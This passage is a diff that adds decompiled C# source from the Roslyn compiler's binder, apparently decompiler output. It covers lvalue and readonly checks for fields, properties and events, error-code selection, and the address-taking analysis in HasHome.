SyntaxNodeOrToken.op_Implicit(node), parameterSymbol); + } + else + { + ErrorCode code2 = ((valueKind == BindValueKind.RefReturn) ? ErrorCode.ERR_RefReturnReadonlyPrimaryConstructorParameter : ((!RequiresRefOrOut(valueKind)) ? ErrorCode.ERR_AssgReadonlyPrimaryConstructorParameter : ErrorCode.ERR_RefReadonlyPrimaryConstructorParameter)); + Error(diagnostics, code2, SyntaxNodeOrToken.op_Implicit(node)); + } + } + + private bool CheckFieldValueKind(SyntaxNode node, BoundFieldAccess fieldAccess, BindValueKind valueKind, bool checkingReceiver, BindingDiagnosticBag diagnostics) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected I4, but got Unknown + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + //IL_00c0: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Expected I4, but got Unknown + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_00e0: Unknown result type (might be due to invalid IL or missing references) + //IL_00fe: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + FieldSymbol fieldSymbol = fieldAccess.FieldSymbol; + if (fieldSymbol.IsReadOnly && (((int)fieldSymbol.RefKind == 0) ? RequiresAssignableVariable(valueKind) : RequiresRefAssignableVariable(valueKind)) && !CanModifyReadonlyField(fieldAccess.ReceiverOpt is BoundThisReference, fieldSymbol)) + { + ReportReadOnlyFieldError(fieldSymbol, node, valueKind, checkingReceiver, diagnostics); + return false; + } + if (RequiresAssignableVariable(valueKind)) + { + RefKind refKind = fieldSymbol.RefKind; + switch ((int)refKind) + { + case 1: + return true; + case 3: + ReportReadOnlyError(fieldSymbol, node, valueKind, checkingReceiver, diagnostics); + return false; + default: + throw ExceptionUtilities.UnexpectedValue((object)fieldSymbol.RefKind); + case 0: + break; + } + if (fieldSymbol.IsFixedSizeBuffer) + { + Error(diagnostics, GetStandardLvalueError(valueKind), SyntaxNodeOrToken.op_Implicit(node)); + return false; + } + } + if (RequiresRefAssignableVariable(valueKind)) + { + RefKind refKind = fieldSymbol.RefKind; + switch ((int)refKind) + { + case 0: + Error(diagnostics, ErrorCode.ERR_RefLocalOrParamExpected, SyntaxNodeOrToken.op_Implicit(node)); + return false; + case 1: + case 3: + return CheckIsValidReceiverForVariable(node, fieldAccess.ReceiverOpt, BindValueKind.Assignable, diagnostics); + default: + throw ExceptionUtilities.UnexpectedValue((object)fieldSymbol.RefKind); + } + } + if (fieldSymbol.IsStatic || fieldSymbol.ContainingType.IsReferenceType) + { + return true; + } + return CheckIsValidReceiverForVariable(node, fieldAccess.ReceiverOpt, valueKind, diagnostics); + } + + private bool CanModifyReadonlyField(bool receiverIsThis, FieldSymbol fieldSymbol) + { + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Invalid comparison between Unknown and I4 + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Invalid comparison between Unknown and I4 + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + bool isStatic = fieldSymbol.IsStatic; + bool result = false; + Symbol containingMemberOrLambda = ContainingMemberOrLambda; + if ((object)containingMemberOrLambda != null && isStatic == containingMemberOrLambda.IsStatic && (isStatic || receiverIsThis) && (Compilation.FeatureStrictEnabled ? TypeSymbol.Equals(fieldSymbol.ContainingType, containingMemberOrLambda.ContainingType, (TypeCompareKind)63) : TypeSymbol.Equals(fieldSymbol.ContainingType.OriginalDefinition, containingMemberOrLambda.ContainingType.OriginalDefinition, (TypeCompareKind)63))) + { + if ((int)containingMemberOrLambda.Kind == 9) + { + MethodSymbol obj = (MethodSymbol)containingMemberOrLambda; + MethodKind val = (MethodKind)((!isStatic) ? 1 : 14); + result = obj.MethodKind == val || isAssignedFromInitOnlySetterOnThis(receiverIsThis); + } + else if ((int)containingMemberOrLambda.Kind == 6) + { + result = true; + } + } + return result; + bool isAssignedFromInitOnlySetterOnThis(bool flag) + { + if (!flag) + { + return false; + } + if (!(ContainingMemberOrLambda is MethodSymbol methodSymbol)) + { + return false; + } + return methodSymbol.IsInitOnly; + } + } + + private bool CheckSimpleAssignmentValueKind(SyntaxNode node, BoundAssignmentOperator assignment, BindValueKind valueKind, BindingDiagnosticBag diagnostics) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + if (assignment.IsRef) + { + return CheckValueKind(node, assignment.Left, valueKind, checkingReceiver: false, diagnostics); + } + Error(diagnostics, GetStandardLvalueError(valueKind), SyntaxNodeOrToken.op_Implicit(node)); + return false; + } + + private bool CheckEventValueKind(BoundEventAccess boundEvent, BindValueKind valueKind, BindingDiagnosticBag diagnostics) + { + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + BoundExpression receiverOpt = boundEvent.ReceiverOpt; + SyntaxNode eventName = GetEventName(boundEvent); + EventSymbol eventSymbol = boundEvent.EventSymbol; + if (valueKind == BindValueKind.CompoundAssignment) + { + if (ReportUseSite(eventSymbol, diagnostics, eventName)) + { + return false; + } + return true; + } + if (!boundEvent.IsUsableAsField) + { + Error(diagnostics, GetBadEventUsageDiagnosticInfo(eventSymbol), eventName); + return false; + } + if (ReportUseSite(eventSymbol, diagnostics, eventName)) + { + if (!CheckIsValidReceiverForVariable(eventName, receiverOpt, BindValueKind.Assignable, diagnostics)) + { + return false; + } + } + else if (RequiresVariable(valueKind)) + { + if (eventSymbol.IsWindowsRuntimeEvent && valueKind != BindValueKind.Assignable) + { + if (valueKind == BindValueKind.RefOrOut) + { + Error(diagnostics, ErrorCode.ERR_WinRtEventPassedByRef, SyntaxNodeOrToken.op_Implicit(eventName)); + } + else + { + Error(diagnostics, GetStandardLvalueError(valueKind), SyntaxNodeOrToken.op_Implicit(eventName), eventSymbol); + } + return false; + } + if (RequiresVariableReceiver(receiverOpt, eventSymbol.AssociatedField) && !CheckIsValidReceiverForVariable(eventName, receiverOpt, valueKind, diagnostics)) + { + return false; + } + } + return true; + } + + private bool CheckIsValidReceiverForVariable(SyntaxNode node, BoundExpression receiver, BindValueKind kind, BindingDiagnosticBag diagnostics) + { + if (!Flags.Includes(BinderFlags.ObjectInitializerMember) || receiver.Kind != BoundKind.ObjectOrCollectionValuePlaceholder) + { + return CheckValueKind(node, receiver, kind, checkingReceiver: true, diagnostics); + } + return true; + } + + private static bool RequiresVariableReceiver(BoundExpression receiver, Symbol symbol) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + if (symbol.RequiresInstanceReceiver() && (int)symbol.Kind != 5) + { + if (receiver == null) + { + return false; + } + return receiver.Type?.IsValueType == true; + } + return false; + } + + protected bool CheckMethodReturnValueKind(MethodSymbol methodSymbol, SyntaxNode callSyntaxOpt, SyntaxNode node, BindValueKind valueKind, bool checkingReceiver, BindingDiagnosticBag diagnostics) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Invalid comparison between Unknown and I4 + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + if (RequiresVariable(valueKind) && (int)methodSymbol.RefKind == 0) + { + if (checkingReceiver) + { + Error(diagnostics, ErrorCode.ERR_ReturnNotLValue, SyntaxNodeOrToken.op_Implicit(callSyntaxOpt), methodSymbol); + } + else + { + Error(diagnostics, GetStandardLvalueError(valueKind), SyntaxNodeOrToken.op_Implicit(node)); + } + return false; + } + if (RequiresAssignableVariable(valueKind) && (int)methodSymbol.RefKind == 3) + { + ReportReadOnlyError(methodSymbol, node, valueKind, checkingReceiver, diagnostics); + return false; + } + if (RequiresRefAssignableVariable(valueKind)) + { + Error(diagnostics, ErrorCode.ERR_RefLocalOrParamExpected, SyntaxNodeOrToken.op_Implicit(node)); + return false; + } + return true; + } + + private bool CheckPropertyValueKind(SyntaxNode node, BoundExpression expr, BindValueKind valueKind, bool checkingReceiver, BindingDiagnosticBag diagnostics) + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Invalid comparison between Unknown and I4 + //IL_00e0: Unknown result type (might be due to invalid IL or missing references) + //IL_00e6: Invalid comparison between Unknown and I4 + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_02ca: Unknown result type (might be due to invalid IL or missing references) + //IL_02d0: Invalid comparison between Unknown and I4 + //IL_01b5: Unknown result type (might be due to invalid IL or missing references) + //IL_01ba: Unknown result type (might be due to invalid IL or missing references) + //IL_01d1: Unknown result type (might be due to invalid IL or missing references) + //IL_0244: Unknown result type (might be due to invalid IL or missing references) + //IL_0169: Unknown result type (might be due to invalid IL or missing references) + //IL_012f: Unknown result type (might be due to invalid IL or missing references) + //IL_0427: Unknown result type (might be due to invalid IL or missing references) + //IL_0322: Unknown result type (might be due to invalid IL or missing references) + //IL_0327: Unknown result type (might be due to invalid IL or missing references) + //IL_033f: Unknown result type (might be due to invalid IL or missing references) + //IL_02f7: Unknown result type (might be due to invalid IL or missing references) + //IL_0220: Unknown result type (might be due to invalid IL or missing references) + //IL_01eb: Unknown result type (might be due to invalid IL or missing references) + //IL_03c3: Unknown result type (might be due to invalid IL or missing references) + //IL_038e: Unknown result type (might be due to invalid IL or missing references) + //IL_0359: Unknown result type (might be due to invalid IL or missing references) + BoundExpression receiver; + SyntaxNode propertySyntax; + PropertySymbol propertySymbol = GetPropertySymbol(expr, out receiver, out propertySyntax); + if ((RequiresReferenceToLocation(valueKind) || checkingReceiver) && (int)propertySymbol.RefKind == 0) + { + if (checkingReceiver) + { + Error(diagnostics, ErrorCode.ERR_ReturnNotLValue, SyntaxNodeOrToken.op_Implicit(expr.Syntax), propertySymbol); + } + else if (valueKind == BindValueKind.RefOrOut) + { + Error(diagnostics, ErrorCode.ERR_RefProperty, SyntaxNodeOrToken.op_Implicit(node)); + } + else + { + Error(diagnostics, GetStandardLvalueError(valueKind), SyntaxNodeOrToken.op_Implicit(node)); + } + return false; + } + if (RequiresAssignableVariable(valueKind) && (int)propertySymbol.RefKind == 3) + { + ReportReadOnlyError(propertySymbol, node, valueKind, checkingReceiver, diagnostics); + return false; + } + if (RequiresAssignableVariable(valueKind) && (int)propertySymbol.RefKind == 0) + { + MethodSymbol ownOrInheritedSetMethod = propertySymbol.GetOwnOrInheritedSetMethod(); + if ((object)ownOrInheritedSetMethod == null) + { + Symbol containingMemberOrLambda = ContainingMemberOrLambda; + if (!AccessingAutoPropertyFromConstructor(receiver, propertySymbol, containingMemberOrLambda) && !isAllowedDespiteReadonly(receiver)) + { + Error(diagnostics, ErrorCode.ERR_AssgReadonlyProp, SyntaxNodeOrToken.op_Implicit(node), propertySymbol); + return false; + } + } + else + { + if (ownOrInheritedSetMethod.IsInitOnly) + { + if (!isAllowedInitOnlySet(receiver)) + { + Error(diagnostics, ErrorCode.ERR_AssignmentInitOnly, SyntaxNodeOrToken.op_Implicit(node), propertySymbol); + return false; + } + if (ownOrInheritedSetMethod.DeclaringCompilation != Compilation) + { + CheckFeatureAvailability(node, MessageID.IDS_FeatureInitOnlySetters, diagnostics); + } + } + TypeSymbol accessThroughType = GetAccessThroughType(receiver); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + bool failedThroughTypeCheck; + bool num = IsAccessible(ownOrInheritedSetMethod, accessThroughType, out failedThroughTypeCheck, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add(node, useSiteInfo); + if (!num) + { + if (failedThroughTypeCheck) + { + Error(diagnostics, ErrorCode.ERR_BadProtectedAccess, SyntaxNodeOrToken.op_Implicit(node), propertySymbol, accessThroughType, ContainingType); + } + else + { + Error(diagnostics, ErrorCode.ERR_InaccessibleSetter, SyntaxNodeOrToken.op_Implicit(node), propertySymbol); + } + return false; + } + ReportDiagnosticsIfObsolete(diagnostics, ownOrInheritedSetMethod, SyntaxNodeOrToken.op_Implicit(node), receiver != null && receiver.Kind == BoundKind.BaseReference); + BindValueKind kind = (ownOrInheritedSetMethod.IsEffectivelyReadOnly ? BindValueKind.RValue : BindValueKind.Assignable); + if (RequiresVariableReceiver(receiver, ownOrInheritedSetMethod) && !CheckIsValidReceiverForVariable(node, receiver, kind, diagnostics)) + { + return false; + } + if (IsBadBaseAccess(node, receiver, ownOrInheritedSetMethod, diagnostics, propertySymbol) || reportUseSite(ownOrInheritedSetMethod)) + { + return false; + } + CheckReceiverAndRuntimeSupportForSymbolAccess(node, receiver, ownOrInheritedSetMethod, diagnostics); + } + } + if (!RequiresAssignmentOnly(valueKind) || (int)propertySymbol.RefKind > 0) + { + MethodSymbol ownOrInheritedGetMethod = propertySymbol.GetOwnOrInheritedGetMethod(); + if ((object)ownOrInheritedGetMethod == null) + { + Error(diagnostics, ErrorCode.ERR_PropertyLacksGet, SyntaxNodeOrToken.op_Implicit(node), propertySymbol); + return false; + } + TypeSymbol accessThroughType2 = GetAccessThroughType(receiver); + CompoundUseSiteInfo useSiteInfo2 = GetNewCompoundUseSiteInfo(diagnostics); + bool failedThroughTypeCheck2; + bool num2 = IsAccessible(ownOrInheritedGetMethod, accessThroughType2, out failedThroughTypeCheck2, ref useSiteInfo2); + ((BindingDiagnosticBag)(object)diagnostics).Add(node, useSiteInfo2); + if (!num2) + { + if (failedThroughTypeCheck2) + { + Error(diagnostics, ErrorCode.ERR_BadProtectedAccess, SyntaxNodeOrToken.op_Implicit(node), propertySymbol, accessThroughType2, ContainingType); + } + else + { + Error(diagnostics, ErrorCode.ERR_InaccessibleGetter, SyntaxNodeOrToken.op_Implicit(node), propertySymbol); + } + return false; + } + CheckImplicitThisCopyInReadOnlyMember(receiver, ownOrInheritedGetMethod, diagnostics); + ReportDiagnosticsIfObsolete(diagnostics, ownOrInheritedGetMethod, SyntaxNodeOrToken.op_Implicit(node), receiver != null && receiver.Kind == BoundKind.BaseReference); + if (IsBadBaseAccess(node, receiver, ownOrInheritedGetMethod, diagnostics, propertySymbol) || reportUseSite(ownOrInheritedGetMethod)) + { + return false; + } + CheckReceiverAndRuntimeSupportForSymbolAccess(node, receiver, ownOrInheritedGetMethod, diagnostics); + } + if (RequiresRefAssignableVariable(valueKind)) + { + Error(diagnostics, ErrorCode.ERR_RefLocalOrParamExpected, SyntaxNodeOrToken.op_Implicit(node)); + return false; + } + return true; + static bool isAllowedDespiteReadonly(BoundExpression boundExpression) + { + if (boundExpression is BoundObjectOrCollectionValuePlaceholder && boundExpression.Type.IsAnonymousType) + { + return true; + } + return false; + } + bool isAllowedInitOnlySet(BoundExpression boundExpression) + { + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Invalid comparison between Unknown and I4 + if (boundExpression is BoundObjectOrCollectionValuePlaceholder boundObjectOrCollectionValuePlaceholder) + { + return boundObjectOrCollectionValuePlaceholder.IsNewInstance; + } + if (!(boundExpression is BoundThisReference) && !(boundExpression is BoundBaseReference)) + { + return false; + } + if (!(ContainingMemberOrLambda is MethodSymbol methodSymbol)) + { + return false; + } + if ((int)methodSymbol.MethodKind == 1 || methodSymbol.IsInitOnly) + { + return true; + } + return false; + } + bool reportUseSite(MethodSymbol accessor) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + UseSiteInfo useSiteInfo3 = accessor.GetUseSiteInfo(); + if (!object.Equals(useSiteInfo3.DiagnosticInfo, propertySymbol.GetUseSiteInfo().DiagnosticInfo)) + { + return ((BindingDiagnosticBag)(object)diagnostics).Add(useSiteInfo3, propertySyntax); + } + ((BindingDiagnosticBag)(object)diagnostics).AddDependencies(useSiteInfo3); + return false; + } + } + + private bool IsBadBaseAccess(SyntaxNode node, BoundExpression receiverOpt, Symbol member, BindingDiagnosticBag diagnostics, Symbol propertyOrEventSymbolOpt = null) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + if (receiverOpt != null && receiverOpt.Kind == BoundKind.BaseReference && member.IsAbstract) + { + Error(diagnostics, ErrorCode.ERR_AbstractBaseCall, SyntaxNodeOrToken.op_Implicit(node), propertyOrEventSymbolOpt ?? member); + return true; + } + return false; + } + + private static void ReportReadonlyLocalError(SyntaxNode node, LocalSymbol local, BindValueKind kind, bool checkingReceiver, BindingDiagnosticBag diagnostics) + { + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + MessageID id; + if (local.IsForEach) + { + id = MessageID.IDS_FOREACHLOCAL; + } + else if (local.IsUsing) + { + id = MessageID.IDS_USINGLOCAL; + } + else + { + if (!local.IsFixed) + { + Error(diagnostics, GetStandardLvalueError(kind), SyntaxNodeOrToken.op_Implicit(node)); + return; + } + id = MessageID.IDS_FIXEDLOCAL; + } + ErrorCode[] array = new ErrorCode[4] + { + ErrorCode.ERR_RefReadonlyLocalCause, + ErrorCode.ERR_AssgReadonlyLocalCause, + ErrorCode.ERR_RefReadonlyLocal2Cause, + ErrorCode.ERR_AssgReadonlyLocal2Cause + }; + int num = (checkingReceiver ? 2 : 0) + ((!RequiresRefOrOut(kind)) ? 1 : 0); + Error(diagnostics, array[num], SyntaxNodeOrToken.op_Implicit(node), local, id.Localize()); + } + + private static ErrorCode GetThisLvalueError(BindValueKind kind, bool isValueType, bool isPrimaryConstructorParameter) + { + switch (kind) + { + case BindValueKind.Assignable: + case BindValueKind.CompoundAssignment: + return ErrorCode.ERR_AssgReadonlyLocal; + case BindValueKind.RefOrOut: + return ErrorCode.ERR_RefReadonlyLocal; + case BindValueKind.AddressOf: + return ErrorCode.ERR_InvalidAddrOp; + case BindValueKind.IncrementDecrement: + if (!isValueType) + { + return ErrorCode.ERR_IncrementLvalueExpected; + } + return ErrorCode.ERR_AssgReadonlyLocal; + case BindValueKind.ReadonlyRef: + case BindValueKind.RefReturn: + if (!isPrimaryConstructorParameter) + { + return ErrorCode.ERR_RefReturnThis; + } + return ErrorCode.ERR_RefReturnPrimaryConstructorParameter; + case BindValueKind.RefAssignable: + return ErrorCode.ERR_RefLocalOrParamExpected; + default: + if (RequiresReferenceToLocation(kind)) + { + return ErrorCode.ERR_RefLvalueExpected; + } + throw ExceptionUtilities.UnexpectedValue((object)kind); + } + } + + private static ErrorCode GetRangeLvalueError(BindValueKind kind) + { + switch (kind) + { + case BindValueKind.Assignable: + case BindValueKind.CompoundAssignment: + case BindValueKind.IncrementDecrement: + return ErrorCode.ERR_QueryRangeVariableReadOnly; + case BindValueKind.AddressOf: + return ErrorCode.ERR_InvalidAddrOp; + case BindValueKind.ReadonlyRef: + case BindValueKind.RefReturn: + return ErrorCode.ERR_RefReturnRangeVariable; + case BindValueKind.RefAssignable: + return ErrorCode.ERR_RefLocalOrParamExpected; + default: + if (RequiresReferenceToLocation(kind)) + { + return ErrorCode.ERR_QueryOutRefRangeVariable; + } + throw ExceptionUtilities.UnexpectedValue((object)kind); + } + } + + private static ErrorCode GetMethodGroupOrFunctionPointerLvalueError(BindValueKind valueKind) + { + if (RequiresReferenceToLocation(valueKind)) + { + return ErrorCode.ERR_RefReadonlyLocalCause; + } + return ErrorCode.ERR_AssgReadonlyLocalCause; + } + + private static ErrorCode GetStandardLvalueError(BindValueKind kind) + { + switch (kind) + { + case BindValueKind.Assignable: + case BindValueKind.CompoundAssignment: + return ErrorCode.ERR_AssgLvalueExpected; + case BindValueKind.AddressOf: + return ErrorCode.ERR_InvalidAddrOp; + case BindValueKind.IncrementDecrement: + return ErrorCode.ERR_IncrementLvalueExpected; + case BindValueKind.FixedReceiver: + return ErrorCode.ERR_FixedNeedsLvalue; + case BindValueKind.ReadonlyRef: + case BindValueKind.RefReturn: + return ErrorCode.ERR_RefReturnLvalueExpected; + case BindValueKind.RefAssignable: + return ErrorCode.ERR_RefLocalOrParamExpected; + default: + if (RequiresReferenceToLocation(kind)) + { + return ErrorCode.ERR_RefLvalueExpected; + } + throw ExceptionUtilities.UnexpectedValue((object)kind); + } + } + + private static void ReportReadOnlyFieldError(FieldSymbol field, SyntaxNode node, BindValueKind kind, bool checkingReceiver, BindingDiagnosticBag diagnostics) + { + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + ErrorCode[] array = new ErrorCode[12] + { + ErrorCode.ERR_RefReturnReadonly, + ErrorCode.ERR_RefReadonly, + ErrorCode.ERR_AssgReadonly, + ErrorCode.ERR_RefReturnReadonlyStatic, + ErrorCode.ERR_RefReadonlyStatic, + ErrorCode.ERR_AssgReadonlyStatic, + ErrorCode.ERR_RefReturnReadonly2, + ErrorCode.ERR_RefReadonly2, + ErrorCode.ERR_AssgReadonly2, + ErrorCode.ERR_RefReturnReadonlyStatic2, + ErrorCode.ERR_RefReadonlyStatic2, + ErrorCode.ERR_AssgReadonlyStatic2 + }; + int num = (checkingReceiver ? 6 : 0) + (field.IsStatic ? 3 : 0) + ((kind != BindValueKind.RefReturn) ? (RequiresRefOrOut(kind) ? 1 : 2) : 0); + if (checkingReceiver) + { + Error(diagnostics, array[num], SyntaxNodeOrToken.op_Implicit(node), field); + } + else + { + Error(diagnostics, array[num], SyntaxNodeOrToken.op_Implicit(node)); + } + } + + private static void ReportReadOnlyError(Symbol symbol, SyntaxNode node, BindValueKind kind, bool checkingReceiver, BindingDiagnosticBag diagnostics) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Expected O, but got Unknown + if (kind == BindValueKind.AddressOf) + { + Error(diagnostics, ErrorCode.ERR_InvalidAddrOp, SyntaxNodeOrToken.op_Implicit(node)); + return; + } + LocalizableErrorArgument localizableErrorArgument = symbol.Kind.Localize(); + ErrorCode[] array = new ErrorCode[6] + { + ErrorCode.ERR_RefReturnReadonlyNotField, + ErrorCode.ERR_RefReadonlyNotField, + ErrorCode.ERR_AssignReadonlyNotField, + ErrorCode.ERR_RefReturnReadonlyNotField2, + ErrorCode.ERR_RefReadonlyNotField2, + ErrorCode.ERR_AssignReadonlyNotField2 + }; + int num = (checkingReceiver ? 3 : 0) + ((kind != BindValueKind.RefReturn) ? (RequiresRefOrOut(kind) ? 1 : 2) : 0); + Error(diagnostics, array[num], SyntaxNodeOrToken.op_Implicit(node), localizableErrorArgument, (object)new FormattedSymbol((ISymbolInternal)(object)symbol, SymbolDisplayFormat.ShortFormat)); + } + + internal static bool IsAnyReadOnly(AddressKind addressKind) + { + return addressKind >= AddressKind.ReadOnly; + } + + internal static bool HasHome(BoundExpression expression, AddressKind addressKind, Symbol containingSymbol, bool peVerifyCompatEnabled, HashSet stackLocalsOpt) + { + //IL_01c7: Unknown result type (might be due to invalid IL or missing references) + //IL_01cc: Unknown result type (might be due to invalid IL or missing references) + //IL_01cd: Unknown result type (might be due to invalid IL or missing references) + //IL_01cf: Invalid comparison between Unknown and I4 + //IL_0220: Unknown result type (might be due to invalid IL or missing references) + //IL_0225: Unknown result type (might be due to invalid IL or missing references) + //IL_0227: Unknown result type (might be due to invalid IL or missing references) + //IL_022a: Invalid comparison between Unknown and I4 + //IL_01a6: Unknown result type (might be due to invalid IL or missing references) + //IL_01ab: Unknown result type (might be due to invalid IL or missing references) + //IL_01ac: Unknown result type (might be due to invalid IL or missing references) + //IL_01ae: Invalid comparison between Unknown and I4 + //IL_017b: Unknown result type (might be due to invalid IL or missing references) + //IL_01d9: Unknown result type (might be due to invalid IL or missing references) + //IL_01db: Invalid comparison between Unknown and I4 + //IL_018b: Unknown result type (might be due to invalid IL or missing references) + //IL_0191: Invalid comparison between Unknown and I4 + //IL_0144: Unknown result type (might be due to invalid IL or missing references) + //IL_0149: Unknown result type (might be due to invalid IL or missing references) + //IL_014b: Unknown result type (might be due to invalid IL or missing references) + //IL_014e: Unknown result type (might be due to invalid IL or missing references) + //IL_0150: Invalid comparison between Unknown and I4 + //IL_023e: Unknown result type (might be due to invalid IL or missing references) + //IL_0241: Unknown result type (might be due to invalid IL or missing references) + //IL_0243: Invalid comparison between Unknown and I4 + //IL_01b8: Unknown result type (might be due to invalid IL or missing references) + //IL_01ba: Invalid comparison between Unknown and I4 + switch (expression.Kind) + { + case BoundKind.ArrayAccess: + if (addressKind == AddressKind.ReadOnly && !expression.Type.IsValueType && peVerifyCompatEnabled) + { + return false; + } + return true; + case BoundKind.PointerIndirectionOperator: + case BoundKind.RefValueOperator: + return true; + case BoundKind.ThisReference: + if (expression.Type.IsReferenceType) + { + return true; + } + if (!IsAnyReadOnly(addressKind) && containingSymbol is MethodSymbol methodSymbol && containingSymbol.ContainingSymbol is NamedTypeSymbol && methodSymbol.IsEffectivelyReadOnly) + { + return false; + } + return true; + case BoundKind.ThrowExpression: + return true; + case BoundKind.Parameter: + { + bool flag = IsAnyReadOnly(addressKind); + if (!flag) + { + RefKind refKind4 = ((BoundParameter)expression).ParameterSymbol.RefKind; + bool flag2 = refKind4 - 3 <= 1; + flag = !flag2; + } + return flag; + } + case BoundKind.Local: + { + LocalSymbol localSymbol = ((BoundLocal)expression).LocalSymbol; + if (!CodeGenerator.IsStackLocal(localSymbol, stackLocalsOpt) || (int)localSymbol.RefKind != 0) + { + if (!IsAnyReadOnly(addressKind)) + { + return (int)localSymbol.RefKind != 3; + } + return true; + } + return false; + } + case BoundKind.Call: + { + RefKind refKind = ((BoundCall)expression).Method.RefKind; + if ((int)refKind != 1) + { + if (IsAnyReadOnly(addressKind)) + { + return (int)refKind == 3; + } + return false; + } + return true; + } + case BoundKind.Dup: + { + RefKind refKind3 = ((BoundDup)expression).RefKind; + if ((int)refKind3 != 1) + { + if (IsAnyReadOnly(addressKind)) + { + return (int)refKind3 == 3; + } + return false; + } + return true; + } + case BoundKind.FieldAccess: + return FieldAccessHasHome((BoundFieldAccess)expression, addressKind, containingSymbol, peVerifyCompatEnabled, stackLocalsOpt); + case BoundKind.Sequence: + return HasHome(((BoundSequence)expression).Value, addressKind, containingSymbol, peVerifyCompatEnabled, stackLocalsOpt); + case BoundKind.AssignmentOperator: + { + BoundAssignmentOperator boundAssignmentOperator = (BoundAssignmentOperator)expression; + if (!boundAssignmentOperator.IsRef) + { + return false; + } + RefKind refKind2 = boundAssignmentOperator.Left.GetRefKind(); + bool flag = (int)refKind2 == 1; + if (!flag) + { + bool flag2 = IsAnyReadOnly(addressKind); + if (flag2) + { + bool flag3 = refKind2 - 3 <= 1; + flag2 = flag3; + } + flag = flag2; + } + return flag; + } + case BoundKind.ConditionalReceiver: + case BoundKind.ComplexConditionalReceiver: + return true; + case BoundKind.ConditionalOperator: + { + BoundConditionalOperator boundConditionalOperator = (BoundConditionalOperator)expression; + if (!boundConditionalOperator.IsRef) + { + return false; + } + if (HasHome(boundConditionalOperator.Consequence, addressKind, containingSymbol, peVerifyCompatEnabled, stackLocalsOpt)) + { + return HasHome(boundConditionalOperator.Alternative, addressKind, containingSymbol, peVerifyCompatEnabled, stackLocalsOpt); + } + return false; + } + default: + return false; + } + } + + private static bool FieldAccessHasHome(BoundFieldAccess fieldAccess, AddressKind addressKind, Symbol containingSymbol, bool peVerifyCompatEnabled, HashSet stackLocalsOpt) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Invalid comparison between Unknown and I4 + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Invalid comparison between Unknown and I4 + //IL_00df: Unknown result type (might be due to invalid IL or missing references) + //IL_00e5: Invalid comparison between Unknown and I4 + //IL_00b1: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Invalid comparison between Unknown and I4 + FieldSymbol fieldSymbol = fieldAccess.FieldSymbol; + if (fieldSymbol.IsConst) + { + return false; + } + if ((int)fieldSymbol.RefKind == 1) + { + return true; + } + switch (addressKind) + { + case AddressKind.ReadOnlyStrict: + return true; + case AddressKind.ReadOnly: + if (!peVerifyCompatEnabled) + { + return true; + } + break; + } + if (fieldAccess.IsByValue) + { + return false; + } + if ((int)fieldSymbol.RefKind == 3) + { + return false; + } + if (!fieldSymbol.IsReadOnly) + { + if (!peVerifyCompatEnabled) + { + BoundExpression receiverOpt = fieldAccess.ReceiverOpt; + if (receiverOpt != null && receiverOpt.Type.IsValueType) + { + if (!HasHome(receiverOpt, addressKind, containingSymbol, peVerifyCompatEnabled, stackLocalsOpt)) + { + return !HasHome(receiverOpt, AddressKind.ReadOnly, containingSymbol, peVerifyCompatEnabled, stackLocalsOpt); + } + return true; + } + } + return true; + } + if (!TypeSymbol.Equals(fieldSymbol.ContainingType, containingSymbol.ContainingSymbol as NamedTypeSymbol, (TypeCompareKind)63)) + { + return false; + } + if (fieldSymbol.IsStatic) + { + if (containingSymbol is MethodSymbol methodSymbol) + { + if ((int)methodSymbol.MethodKind == 14) + { + goto IL_00cc; + } + } + else if (containingSymbol is FieldSymbol && containingSymbol.IsStatic) + { + goto 